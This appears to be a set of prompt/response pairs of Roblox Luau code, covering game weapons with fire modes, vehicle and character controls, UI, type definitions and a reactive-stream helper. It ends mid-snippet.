Prompt: --// Firemode Functions

Response:
function CreateBullet(L_185_arg1)
	local L_186_ = L_55_.Position
	local L_187_ = (L_4_.Hit.p - L_186_).unit
	local L_188_ = CFrame.Angles(math.rad(math.random(-L_185_arg1, L_185_arg1)), math.rad(math.random(-L_185_arg1, L_185_arg1)), math.rad(math.random(-L_185_arg1, L_185_arg1)))
	L_187_ = L_188_ * L_187_
	local L_189_ = CFrame.new(L_186_, L_186_ + L_187_)

	local L_190_ = Instance.new("Part", L_93_)
	game.Debris:AddItem(L_190_, 10)
	L_190_.Shape = Enum.PartType.Ball
	L_190_.Size = Vector3.new(1, 1, 12)
	L_190_.Name = "Bullet"
	L_190_.TopSurface = "Smooth"
	L_190_.BottomSurface = "Smooth"
	L_190_.BrickColor = BrickColor.new("Bright green")
	L_190_.Material = "Neon"
	L_190_.CanCollide = false
		--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)
	L_190_.CFrame = L_189_

	local L_191_ = Instance.new("Sound")
	L_191_.SoundId = "rbxassetid://341519743"
	L_191_.Looped = true
	L_191_:Play()
	L_191_.Parent = L_190_
	L_191_.Volume = 0.4
	L_191_.MaxDistance = 30

	L_190_.Transparency = 1
	local L_192_ = L_190_:GetMass()
	local L_193_ = Instance.new('BodyForce', L_190_)

	if not L_77_ then
		L_193_.Force = L_24_.BulletPhysics
		L_190_.Velocity = L_187_ * L_24_.BulletSpeed
	else
		L_193_.Force = L_24_.ExploPhysics
		L_190_.Velocity = L_187_ * L_24_.ExploSpeed
	end

	local L_194_ = Instance.new('Attachment', L_190_)
	L_194_.Position = Vector3.new(0.1, 0, 0)
	local L_195_ = Instance.new('Attachment', L_190_)
	L_195_.Position = Vector3.new(-0.1, 0, 0)

	local L_196_ = TracerCalculation()

	if L_24_.TracerEnabled == true and L_196_ then
		local L_197_ = Instance.new('Trail', L_190_)
		L_197_.Attachment0 = L_194_
		L_197_.Attachment1 = L_195_
		L_197_.Transparency = NumberSequence.new(L_24_.TracerTransparency)
		L_197_.LightEmission = L_24_.TracerLightEmission
		L_197_.TextureLength = L_24_.TracerTextureLength
		L_197_.Lifetime = L_24_.TracerLifetime
		L_197_.FaceCamera = L_24_.TracerFaceCamera
		L_197_.Color = ColorSequence.new(L_24_.TracerColor.Color)
	end

	if L_1_:FindFirstChild('Shell') and not L_77_ then
		CreateShell()
	end

	delay(0.2, function()
		L_190_.Transparency = 0
	end)

	return L_190_
end

function CheckForHumanoid(L_198_arg1)
	local L_199_
	local L_200_
	if (L_198_arg1.Parent:FindFirstChild("Humanoid") or L_198_arg1.Parent.Parent:FindFirstChild("Humanoid")) then
		L_199_ = true
		if L_198_arg1.Parent:FindFirstChild('Humanoid') then
			L_200_ = L_198_arg1.Parent.Humanoid
		elseif L_198_arg1.Parent.Parent:FindFirstChild('Humanoid') then
			L_200_ = L_198_arg1.Parent.Parent.Humanoid
		end
	else
		L_199_ = false
	end
	return L_199_, L_200_
end

function CastRay(L_201_arg1)
	local L_202_, L_203_, L_204_
	local L_205_ = L_52_.Position;
	local L_206_ = L_201_arg1.Position;
	local L_207_ = 0

	local L_208_ = L_77_

	while true do
		L_98_:wait()
		L_206_ = L_201_arg1.Position;
		L_207_ = L_207_ + (L_206_ - L_205_).magnitude
		L_202_, L_203_, L_204_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_205_, (L_206_ - L_205_)), IgnoreList);
		local L_209_ = Vector3.new(0, 1, 0):Cross(L_204_)
		local L_210_ = math.asin(L_209_.magnitude) -- division by 1 is redundant
		if L_207_ > 10000 then
			break
		end
		if L_202_ and (L_202_ and L_202_.Transparency >= 1 or L_202_.CanCollide == false) then
			table.insert(IgnoreList, L_202_)
		end

		if L_202_ then
			L_209_ = Vector3.new(0, 1, 0):Cross(L_204_)
			L_210_ = math.asin(L_209_.magnitude) -- division by 1 is redundant

			local L_211_ = CheckForHumanoid(L_202_)
			if L_211_ == false then
				L_201_arg1:Destroy()
				local L_212_ = L_105_:InvokeServer(L_203_, L_209_, L_210_, L_204_, "Part")
				table.insert(IgnoreList, L_212_)
			elseif L_211_ == true then
				L_201_arg1:Destroy()
				local L_213_ = L_105_:InvokeServer(L_203_, L_209_, L_210_, L_204_, "Human")
				table.insert(IgnoreList, L_213_)
			end
		end

		if L_202_ and L_208_ then
			L_108_:FireServer(L_203_)
		end

		if L_202_ and (L_202_.Parent:FindFirstChild("Humanoid") or L_202_.Parent.Parent:FindFirstChild("Humanoid")) then
			local L_214_, L_215_ = CheckForHumanoid(L_202_)
			if L_214_ then
				L_103_:FireServer(L_215_)
				if L_24_.AntiTK then
					if game.Players:FindFirstChild(L_215_.Parent.Name) and game.Players:FindFirstChild(L_215_.Parent.Name).TeamColor ~= L_2_.TeamColor then
						if L_202_.Name == 'Head' then
							L_102_:FireServer(L_215_, L_24_.HeadDamage)
							local L_216_ = L_19_:WaitForChild('BodyHit'):clone()
							L_216_.Parent = L_2_.PlayerGui
							L_216_:Play()
							game:GetService("Debris"):addItem(L_216_, L_216_.TimeLength)
						elseif L_202_.Name ~= 'Head' and not (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then
							L_102_:FireServer(L_215_, L_24_.Damage)
							local L_217_ = L_19_:WaitForChild('BodyHit'):clone()
							L_217_.Parent = L_2_.PlayerGui
							L_217_:Play()
							game:GetService("Debris"):addItem(L_217_, L_217_.TimeLength)
						elseif (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then
							L_102_:FireServer(L_215_, L_24_.HeadDamage)
							local L_218_ = L_19_:WaitForChild('BodyHit'):clone()
							L_218_.Parent = L_2_.PlayerGui
							L_218_:Play()
							game:GetService("Debris"):addItem(L_218_, L_218_.TimeLength)
						end
					end
				else
					if L_202_.Name == 'Head' then
						L_102_:FireServer(L_215_, L_24_.HeadDamage)
						local L_219_ = L_19_:WaitForChild('BodyHit'):clone()
						L_219_.Parent = L_2_.PlayerGui
						L_219_:Play()
						game:GetService("Debris"):addItem(L_219_, L_219_.TimeLength)
					elseif L_202_.Name ~= 'Head' and not (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then
						L_102_:FireServer(L_215_, L_24_.Damage)
						local L_220_ = L_19_:WaitForChild('BodyHit'):clone()
						L_220_.Parent = L_2_.PlayerGui
						L_220_:Play()
						game:GetService("Debris"):addItem(L_220_, L_220_.TimeLength)
					elseif (L_202_.Parent:IsA('Accessory') or L_202_.Parent:IsA('Hat')) then
						L_102_:FireServer(L_215_, L_24_.HeadDamage)
						local L_221_ = L_19_:WaitForChild('BodyHit'):clone()
						L_221_.Parent = L_2_.PlayerGui
						L_221_:Play()
						game:GetService("Debris"):addItem(L_221_, L_221_.TimeLength)
					end
				end
			end
		end

		if L_202_ and L_202_.Parent:FindFirstChild("Humanoid") then
			return L_202_, L_203_;
		end
		L_205_ = L_206_;
	end
end

function fireSemi()
	if L_15_ then
		L_65_ = false
		Recoiling = true
		Shooting = true

		CheckReverb()

		L_55_:WaitForChild('Fire'):Play()
		L_101_:FireServer()
		L_94_ = CreateBullet(0)
		L_95_ = L_95_ - 1
		UpdateAmmo()
		RecoilFront = true
		local L_222_, L_223_ = spawn(function()
			CastRay(L_94_)
		end)

		if L_24_.CanBolt == true then
			BoltingBackAnim()
			delay(L_24_.Firerate / 2, function()
				if L_24_.CanSlideLock == false then
					BoltingForwardAnim()
				elseif L_24_.CanSlideLock == true and L_95_ <= 0 then
					BoltingBackAnim()
				end
			end)
		end

		delay(L_24_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)

		wait(L_24_.Firerate)

		local L_224_ = JamCalculation()
		if L_224_ then
			L_65_ = false
		else
			L_65_ = true
		end
		Shooting = false
	end
end

function fireExplo()
	if L_15_ then
		L_65_ = false
		Recoiling = true
		Shooting = true
		L_56_:WaitForChild('Fire'):Play()
		L_101_:FireServer()
		L_94_ = CreateBullet(0)
		L_97_ = L_97_ - 1
		UpdateAmmo()
		RecoilFront = true
		local L_225_, L_226_ = spawn(function()
			CastRay(L_94_)
		end)

		delay(L_24_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)

		L_65_ = false
		Shooting = false
	end
end

function fireShot()
	if L_15_ then
		L_65_ = false
		Recoiling = true
		Shooting = true
		RecoilFront = true
		CheckReverb()
		L_55_:WaitForChild('Fire'):Play()
		L_101_:FireServer()
		for L_228_forvar1 = 1, L_24_.ShotNum do
			L_94_ = CreateBullet(2)
			local L_229_, L_230_ = spawn(function()
				CastRay(L_94_)
			end)
		end

		for L_231_forvar1, L_232_forvar2 in pairs(L_55_:GetChildren()) do
			if L_232_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_232_forvar2.Enabled = true
			end
		end

		delay(1 / 30, function()
			for L_233_forvar1, L_234_forvar2 in pairs(L_55_:GetChildren()) do
				if L_234_forvar2.Name:sub(1, 7) == "FlashFX" then
					L_234_forvar2.Enabled = false
				end
			end
		end)

		if L_24_.CanBolt == true then
			BoltingBackAnim()
			delay(L_24_.Firerate / 2, function()
				if L_24_.CanSlideLock == false then
					BoltingForwardAnim()
				elseif L_24_.CanSlideLock == true and L_95_ > 0 then
					BoltingBackAnim()
				end
			end)
		end

		delay(L_24_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)
		L_95_ = L_95_ - 1
		UpdateAmmo()
		wait(L_24_.Firerate)

		L_72_ = true
		BoltBackAnim()
		BoltForwardAnim()
		IdleAnim()
		L_72_ = false

		local L_227_ = JamCalculation()
		if L_227_ then
			L_65_ = false
		else
			L_65_ = true
		end

		Shooting = false
	end
end

function fireBoltAction()
	if L_15_ then
		L_65_ = false
		Recoiling = true
		Shooting = true
		CheckReverb()
		L_55_:WaitForChild('Fire'):Play()
		L_101_:FireServer()
		L_94_ = CreateBullet(0)
		L_95_ = L_95_ - 1
		UpdateAmmo()
		RecoilFront = true
		local L_235_, L_236_ = spawn(function()
			CastRay(L_94_)
		end)

		for L_238_forvar1, L_239_forvar2 in pairs(L_55_:GetChildren()) do
			if L_239_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_239_forvar2.Enabled = true
			end
		end

		delay(1 / 30, function()
			for L_240_forvar1, L_241_forvar2 in pairs(L_55_:GetChildren()) do
				if L_241_forvar2.Name:sub(1, 7) == "FlashFX" then
					L_241_forvar2.Enabled = false
				end
			end
		end)

		if L_24_.CanBolt == true then
			BoltingBackAnim()
			delay(L_24_.Firerate / 2, function()
				if L_24_.CanSlideLock == false then
					BoltingForwardAnim()
				elseif L_24_.CanSlideLock == true and L_95_ > 0 then
					BoltingBackAnim()
				end
			end)
		end

		delay(L_24_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)
		wait(L_24_.Firerate)

		L_72_ = true
		BoltBackAnim()
		BoltForwardAnim()
		IdleAnim()
		L_72_ = false

		local L_237_ = JamCalculation()
		if L_237_ then
			L_65_ = false
		else
			L_65_ = true
		end

		Shooting = false
	end
end

function fireAuto()
	while not Shooting and L_95_ > 0 and L_64_ and L_65_ and L_15_ do
		L_65_ = false
		Recoiling = true
		CheckReverb()
		L_55_:WaitForChild('Fire'):Play()
		L_101_:FireServer()
		L_95_ = L_95_ - 1
		UpdateAmmo()
		Shooting = true
		RecoilFront = true
		L_94_ = CreateBullet(0)
		local L_242_, L_243_ = spawn(function()
			CastRay(L_94_)
		end)

		for L_245_forvar1, L_246_forvar2 in pairs(L_55_:GetChildren()) do
			if L_246_forvar2.Name:sub(1, 7) == "FlashFX" then
				L_246_forvar2.Enabled = true
			end
		end

		delay(1 / 30, function()
			for L_247_forvar1, L_248_forvar2 in pairs(L_55_:GetChildren()) do
				if L_248_forvar2.Name:sub(1, 7) == "FlashFX" then
					L_248_forvar2.Enabled = false
				end
			end
		end)

		if L_24_.CanBolt == true then
			BoltingBackAnim()
			delay(L_24_.Firerate / 2, function()
				if L_24_.CanSlideLock == false then
					BoltingForwardAnim()
				elseif L_24_.CanSlideLock == true and L_95_ > 0 then
					BoltingForwardAnim()
				end
			end)
		end

		delay(L_24_.Firerate / 2, function()
			Recoiling = false
			RecoilFront = false
		end)
		wait(L_24_.Firerate)

		local L_244_ = JamCalculation()
		if L_244_ then
			L_65_ = false
		else
			L_65_ = true
		end

		Shooting = false
	end
end

function fireBurst()
	if not Shooting and L_95_ > 0 and L_64_ and L_15_ then
		for L_249_forvar1 = 1, L_24_.BurstNum do
			if L_95_ > 0 and L_64_ then
				L_65_ = false
				Recoiling = true
				CheckReverb()
				L_55_:WaitForChild('Fire'):Play()
				L_101_:FireServer()
				L_94_ = CreateBullet(0)
				local L_250_, L_251_ = spawn(function()
					CastRay(L_94_)
				end)

				for L_253_forvar1, L_254_forvar2 in pairs(L_55_:GetChildren()) do
					if L_254_forvar2.Name:sub(1, 7) == "FlashFX" then
						L_254_forvar2.Enabled = true
					end
				end

				delay(1 / 30, function()
					for L_255_forvar1, L_256_forvar2 in pairs(L_55_:GetChildren()) do
						if L_256_forvar2.Name:sub(1, 7) == "FlashFX" then
							L_256_forvar2.Enabled = false
						end
					end
				end)

				if L_24_.CanBolt == true then
					BoltingBackAnim()
					delay(L_24_.Firerate / 2, function()
						if L_24_.CanSlideLock == false then
							BoltingForwardAnim()
						elseif L_24_.CanSlideLock == true and L_95_ > 0 then
							BoltingForwardAnim()
						end
					end)
				end

				L_95_ = L_95_ - 1
				UpdateAmmo()
				RecoilFront = true
				delay(L_24_.Firerate / 2, function()
					Recoiling = false
					RecoilFront = false
				end)
				wait(L_24_.Firerate)

				local L_252_ = JamCalculation()
				if L_252_ then
					L_65_ = false
				else
					L_65_ = true
				end

			end
			Shooting = true
		end
		Shooting = false
	end
end

function Shoot()
	if L_15_ and L_65_ then
		if L_86_ == 1 then
			fireSemi()
		elseif L_86_ == 2 then
			fireAuto()
		elseif L_86_ == 3 then
			fireBurst()
		elseif L_86_ == 4 then
			fireBoltAction()
		elseif L_86_ == 5 then
			fireShot()
		elseif L_86_ == 6 then
			fireExplo()
		end
	end
end


Prompt: -- Cold water

Response:
faucet.ColdWaterSet.Interactive.ClickDetector.MouseClick:Connect(function()
	faucet.Handle:SetPrimaryPartCFrame(faucet.HandleBase.CFrame * CFrame.Angles(math.rad(-30),0,0))
	if steam.WarmSteam.Enabled == true then
	steam.WarmSteam.Enabled = false
	end
	if steam.HotSteam.Enabled == true then
	steam.HotSteam.Enabled = false
	end
	p.ColdOn.Value = true
	p.HotOn.Value = false
end)


Prompt:
--[[
	Stores common public-facing type information for Fusion APIs.
]]

Response: type Set<T> = {[T]: any}


Prompt: -- dependencies:

Response:
local players = game:GetService("Players")
local physicsService = game:GetService("PhysicsService")


Prompt:
--[[
	Novena Constraint Type: Motorcycle
			The Bike Chassis

					RikOne2 | Enjin
--]]

Response:
local bike = script.Parent.Bike.Value
local _Tune = require(bike["Tuner"])
local handler = bike:WaitForChild("AC6_Sound")

local on = 0
local mult=0
local det=0
local trm=.4
local trmmult=0
local trmon=0
local throt=0
local redline=0
local shift=0

local SetPitch = .1
local SetRev = 1.8

local vol = .25 --Set the volume for everything below

handler:FireServer("stopSound",bike.DriveSeat:WaitForChild("Rev"))


Prompt: --Other Variables

Response: CurrentMode,Debounce,CurrentIndicators,BreakINDLoop,FadeTweenInfo,BrakeFadeInfo = nil


Prompt:
-----------------
--| Variables |--
-----------------

Response:
local PlayersService = game:GetService('Players')
local DebrisService = game:GetService('Debris')

local Tool = script.Parent
local Handle = Tool:WaitForChild('Handle')

local FireSound = Handle:WaitForChild('Fire')
local ReloadSound = Handle:WaitForChild('Reload')
local HitFadeSound = script:WaitForChild('HitFade')

local PointLight = Handle:WaitForChild('PointLight')

local Character = nil
local Humanoid = nil
local Player = nil

local BaseShot = nil


Prompt: --Attach to character added

Response:
local function characterAdded()
	local character = LocalPlayer.Character
	Died = false
	HRP = character:WaitForChild("HumanoidRootPart")
	Humanoid = character:WaitForChild("Humanoid")
	Humanoid:GetPropertyChangedSignal("Sit"):Connect(function()
		if Humanoid.Sit then
			hidePrompt()
		end
	end)
	Humanoid.Died:Connect(function()
		Died = true
		hidePrompt()
	end)
end

LocalPlayer.CharacterAdded:Connect(characterAdded)
if LocalPlayer.Character then
	characterAdded()
end

local function getClosestSeat()
	if HRP and Humanoid then
		if not Humanoid.Sit and not Died then
			local closest = math.huge
			local closestSeat = nil
			local closestModule = nil

			for _, vehicle in pairs(CollectionService:GetTagged("EndorsedVehicle")) do
				local scripts = vehicle:WaitForChild("Scripts")
				local seatingModule = scripts and require(scripts:WaitForChild("LocalVehicleSeating"))
				local seats = seatingModule.GetSeats()

				for _, seat in pairs(seats) do
					local _, seatVisible = Workspace.CurrentCamera:WorldToViewportPoint(seat.Position)
					if seatVisible then
						local dist = (HRP.Position - seat.Position).magnitude
						if dist < closest and dist < MAX_PROMPT_DISTANCE and not seat:FindFirstChild("SeatWeld") then
							closest = dist
							closestSeat = seat
							closestModule = seatingModule
						end
					end
				end
			end

			return closestSeat, closestModule
		end
	end
end

while script.Parent ~= nil do
	local closestSeat, closestModule = getClosestSeat()
	if closestSeat and (not (Humanoid.Sit or Humanoid.PlatformStand)) then
		if closestSeat ~= AdornedSeat then
			hidePrompt()
			AdornedSeat = closestSeat
			AdornedSeatModule = closestModule
			closestModule.ShowPrompt(closestSeat, script.Parent)
		end
	elseif AdornedSeat then
		hidePrompt()
	end
	wait(SEAT_POLL_INTERVAL)
end


Prompt:
-- ROBLOX deviation START: Roblox renderer doesn't support TextNode, only use of this type is in this file
-- export type ReactText = string | number;
-- ROBLOX deviation END

Response:
export type ReactProvider<T> = {
	["$$typeof"]: number,
	type: ReactProviderType<T>,
	key: nil | string,
	ref: nil,
	props: {
		value: T,
		children: ReactNodeList?,
		-- ROBLOX deviation START: only make this open to extension if absolutely necessary
		-- ...
		-- ROBLOX deviation END
	},
	-- ROBLOX deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- ROBLOX deviation END
}

export type ReactProviderType<T> = {
	["$$typeof"]: number,
	_context: ReactContext<T>,
	-- ROBLOX deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- ROBLOX deviation END
}

export type ReactConsumer<T> = {
	["$$typeof"]: number,
	type: ReactContext<T>, -- ROBLOX FIXME: Luau can't do <T> because:  Recursive type being used with different parameters
	key: nil | string,
	ref: nil,
	props: {
		children: (value: T) -> ReactNodeList,
		unstable_observedBits: number?,
		-- ROBLOX deviation START: only make this open to extension if absolutely necessary
		-- ...
		-- ROBLOX deviation END
	},
	-- ROBLOX deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- ROBLOX deviation END
}

export type ReactContext<T> = {
	["$$typeof"]: number,
	Consumer: ReactContext<T>,
	Provider: ReactProviderType<T>,
	_calculateChangedBits: ((T, T) -> number)?,
	_currentValue: T,
	_currentValue2: T,
	_threadCount: number,
	-- DEV only
	_currentRenderer: Object | nil,
	_currentRenderer2: Object | nil,
	-- This value may be added by application code
	-- to improve DEV tooling display names
	displayName: string?,
	-- ROBLOX deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- ROBLOX deviation END
}

export type ReactPortal = {
	["$$typeof"]: number,
	key: nil | string,
	containerInfo: any,
	children: ReactNodeList,
	-- TODO: figure out the API for cross-renderer implementation.
	implementation: any,
	-- ROBLOX deviation START: only make this open to extension if absolutely necessary
	-- ...
	-- ROBLOX deviation END
}

export type RefObject = { current: any }


Prompt: --// Rotate viewport

Response:
local function setRotationEvent(model, camera)
	local currentAngle = 0
	local modelCF, modelSize = model:GetBoundingBox()

	local rotInv = (modelCF - modelCF.p):inverse()
	modelCF = modelCF * rotInv
	modelSize = rotInv * modelSize
	modelSize = Vector3.new(math.abs(modelSize.x), math.abs(modelSize.y), math.abs(modelSize.z))

	local diagonal = 0
	local maxExtent = math.max(modelSize.x, modelSize.y, modelSize.z)
	local tan = math.tan(math.rad(camera.FieldOfView/2))

	if (maxExtent == modelSize.x) then
		diagonal = math.sqrt(modelSize.y*modelSize.y + modelSize.z*modelSize.z)/2
	elseif (maxExtent == modelSize.y) then
		diagonal = math.sqrt(modelSize.x*modelSize.x + modelSize.z*modelSize.z)/2
	else
		diagonal = math.sqrt(modelSize.x*modelSize.x + modelSize.y*modelSize.y)/2
	end

	local minDist = (maxExtent/2)/tan + diagonal
	if model.Name == "Cam" then
		minDist += 1
	end

	return RunService.RenderStepped:Connect(function(dt)
		local increase = (1 * dt * 60) / 1.5
		currentAngle = currentAngle + increase
		camera.CFrame = modelCF * CFrame.fromEulerAnglesYXZ(0, math.rad(currentAngle), 0) * CFrame.new(0, 0, (minDist - 1))
	end)
end


Prompt:
--[=[
	Check if _both_ keys are down. Useful for key combinations.

	```lua
	local shiftA = keyboard:AreKeysDown(Enum.KeyCode.LeftShift, Enum.KeyCode.A)
	if shiftA then ... end
	```
]=]

Response:
function Keyboard:AreKeysDown(keyCodeOne: Enum.KeyCode, keyCodeTwo: Enum.KeyCode): boolean
	return self:IsKeyDown(keyCodeOne) and self:IsKeyDown(keyCodeTwo)
end


Prompt: --[[ Public API ]]

Response:
--
function KeyboardMovement:Enable()
	if not UserInputService.KeyboardEnabled then
		return
	end

	local forwardValue  = 0
	local backwardValue = 0
	local leftValue = 0
	local rightValue = 0

	local updateMovement = function(inputState)
		if inputState == Enum.UserInputState.Cancel then
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector = Vector3.new(0, 0, 0)
		else
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
			MasterControl:AddToPlayerMovement(currentMoveVector)
		end
	end

	local moveForwardFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.Begin then
			forwardValue = -1
		elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
			forwardValue = 0
		end
		updateMovement(inputState)
	end

	local moveBackwardFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.Begin then
			backwardValue = 1
		elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
			backwardValue = 0
		end
		updateMovement(inputState)
	end

	local moveLeftFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.Begin then
			leftValue = -1
		elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
			leftValue = 0
		end
		updateMovement(inputState)
	end

	local moveRightFunc = function(actionName, inputState, inputObject)
		if inputState == Enum.UserInputState.Begin then
			rightValue = 1
		elseif inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
			rightValue = 0
		end
		updateMovement(inputState)
	end

	local jumpFunc = function(actionName, inputState, inputObject)
		MasterControl:SetIsJumping(inputState == Enum.UserInputState.Begin)
	end

	-- TODO: remove up and down arrows, these seem unnecessary
	ContextActionService:BindActionToInputTypes("forwardMovement", moveForwardFunc, false, Enum.PlayerActions.CharacterForward)
	ContextActionService:BindActionToInputTypes("backwardMovement", moveBackwardFunc, false, Enum.PlayerActions.CharacterBackward)
	ContextActionService:BindActionToInputTypes("leftMovement", moveLeftFunc, false, Enum.PlayerActions.CharacterLeft)
	ContextActionService:BindActionToInputTypes("rightMovement", moveRightFunc, false, Enum.PlayerActions.CharacterRight)
	ContextActionService:BindActionToInputTypes("jumpAction", jumpFunc, false, Enum.PlayerActions.CharacterJump)
	-- TODO: make sure we check key state before binding to check if key is already down

	local function onFocusReleased()
		local humanoid = getHumanoid()
		if humanoid then
			MasterControl:AddToPlayerMovement(-currentMoveVector)
			currentMoveVector = Vector3.new(0, 0, 0)
			forwardValue, backwardValue, leftValue, rightValue = 0, 0, 0, 0
			MasterControl:SetIsJumping(false)
		end
	end

	local function onTextFocusGained(textboxFocused)
		MasterControl:SetIsJumping(false)
	end

	SeatJumpCn = UserInputService.InputBegan:connect(function(inputObject, isProcessed)
		if inputObject.KeyCode == Enum.KeyCode.Backspace and not isProcessed then
			local humanoid = getHumanoid()
			if humanoid and (humanoid.Sit or humanoid.PlatformStand) then
				MasterControl:DoJump()
			end
		end
	end)

	TextFocusReleasedCn = UserInputService.TextBoxFocusReleased:connect(onFocusReleased)
	TextFocusGainedCn = UserInputService.TextBoxFocused:connect(onTextFocusGained)
	-- TODO: remove pcall when API is live
	WindowFocusReleasedCn = UserInputService.WindowFocusReleased:connect(onFocusReleased)
end

function KeyboardMovement:Disable()
	ContextActionService:UnbindAction("forwardMovement")
	ContextActionService:UnbindAction("backwardMovement")
	ContextActionService:UnbindAction("leftMovement")
	ContextActionService:UnbindAction("rightMovement")
	ContextActionService:UnbindAction("jumpAction")

	if SeatJumpCn then
		SeatJumpCn:disconnect()
		SeatJumpCn = nil
	end
	if TextFocusReleasedCn then
		TextFocusReleasedCn:disconnect()
		TextFocusReleasedCn = nil
	end
	if TextFocusGainedCn then
		TextFocusGainedCn:disconnect()
		TextFocusGainedCn = nil
	end
	if WindowFocusReleasedCn then
		WindowFocusReleasedCn:disconnect()
		WindowFocusReleasedCn = nil
	end

	MasterControl:AddToPlayerMovement(-currentMoveVector)
	currentMoveVector = Vector3.new(0,0,0)
	MasterControl:SetIsJumping(false)
end

return KeyboardMovement


Prompt:
--[=[
	Starts with the given values
	https://rxjs-dev.firebaseapp.com/api/operators/startWith

	@param values { T }
	@return (source: Observable) -> Observable
]=]

Response:
function Rx.startWith(values)
	assert(type(values) == "table", "Bad values")

	return function(source)
		assert(Observable.isObservable(source), "Bad observable")

		return Observable.new(function(sub)
			for _, item in pairs(values) do
				sub:Fire(item)
			end

			return source:Subscribe(sub:GetFireFailComplete())
		end)
	end
end


Prompt: -- Activation]:

Response:
if TurnCharacterToMouse == true then
	MseGuide = true
	HeadHorFactor = 0
	BodyHorFactor = 0
end

Bind = function(Body)

	Head = Body:WaitForChild("Head")
	Hum = Body:WaitForChild("Humanoid")
	Core = Body:WaitForChild("HumanoidRootPart")
	IsR6 = (Hum.RigType.Value==0)	--[Checking if the player is using R15 or R6.]
	Trso = (IsR6 and Body:WaitForChild("Torso")) or Body:WaitForChild("UpperTorso")
	Neck = (IsR6 and Trso:WaitForChild("Neck")) or Head:WaitForChild("Neck")	--[Once we know the Rig, we know what to find.]
	Waist = (not IsR6 and Trso:WaitForChild("Waist"))	--[R6 doesn't have a waist joint, unfortunately.]

	local NeckOrgnC0 = Neck.C0	--[Get the base C0 to manipulate off of.]
	local WaistOrgnC0 = (not IsR6 and Waist.C0)	--[Get the base C0 to manipulate off of.]

	--[Setup]:
	Neck.MaxVelocity = 1/3

	local Connection
	Connection = game:GetService("RunService").RenderStepped:Connect(function()
		if not Body then Connection:Disconnect() return end

		local CamCF = Cam.CoordinateFrame

		if ((IsR6 and Body["Torso"]) or Body["UpperTorso"])~=nil and Body["Head"]~=nil then	--[Check for the Torso and Head...]
			local TrsoLV = Trso.CFrame.lookVector
			local HdPos = Head.CFrame.p
			if IsR6 and Neck or Neck and Waist then	--[Make sure the Neck still exists.]
				if Cam.CameraSubject:IsDescendantOf(Body) or Cam.CameraSubject:IsDescendantOf(Plr) then
					local Dist = nil;
					local Diff = nil;
					if not MseGuide then	--[If not tracking the Mouse then get the Camera.]
						Dist = (Head.CFrame.p-CamCF.p).magnitude
						Diff = Head.CFrame.Y-CamCF.Y
						if not IsR6 then	--[R6 and R15 Neck rotation C0s are different; R15: X axis inverted and Z is now the Y.]
							Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aSin(Diff/Dist)*HeadVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
							Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang((aSin(Diff/Dist)*BodyVertFactor), -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
						else	--[R15s actually have the properly oriented Neck CFrame.]
							Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aSin(Diff/Dist)*HeadVertFactor), 0, -(((HdPos-CamCF.p).Unit):Cross(TrsoLV)).Y*HeadHorFactor),UpdateSpeed/2)
						end
					else
						local Point = Mouse.Hit.p
						Dist = (Head.CFrame.p-Point).magnitude
						Diff = Head.CFrame.Y-Point.Y
						if not IsR6 then
							Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang(-(aTan(Diff/Dist)*HeadVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor, 0), UpdateSpeed/2)
							Waist.C0 = Waist.C0:lerp(WaistOrgnC0*Ang(-(aTan(Diff/Dist)*BodyVertFactor), (((HdPos-Point).Unit):Cross(TrsoLV)).Y*BodyHorFactor, 0), UpdateSpeed/2)
						else
							Neck.C0 = Neck.C0:lerp(NeckOrgnC0*Ang((aTan(Diff/Dist)*HeadVertFactor), 0, (((HdPos-Point).Unit):Cross(TrsoLV)).Y*HeadHorFactor), UpdateSpeed/2)
						end
					end
				end
			end
		end
		if TurnCharacterToMouse == true then
			Hum.AutoRotate = false
			Core.CFrame = Core.CFrame:lerp(CFrame.new(Core.Position, Vector3.new(Mouse.Hit.p.x, Core.Position.Y, Mouse.Hit.p.z)), UpdateSpeed / 2)
		else
			Hum.AutoRotate = true
		end

	end)

end

repeat task.wait() until Plr.Character
Bind(Plr.Character)

Plr.CharacterAdded:Connect(Bind)


Prompt: -- GUI Elements

Response:
local TutorialGui = script.Parent
local Panels = TutorialGui.TutorialPanels
local Panel1 = Panels.Panel1
local Panel2 = Panels.Panel2
local NextButton = Panels.NextButton
local Arrow = TutorialGui.Arrow


Prompt: ---bruh

Response:
local humanoid = script.Parent.Parent:WaitForChild('Humanoid')

humanoid.BreakJointsOnDeath = false

wait(0.01)
	for index,joint in pairs(script.Parent.Parent:GetDescendants()) do
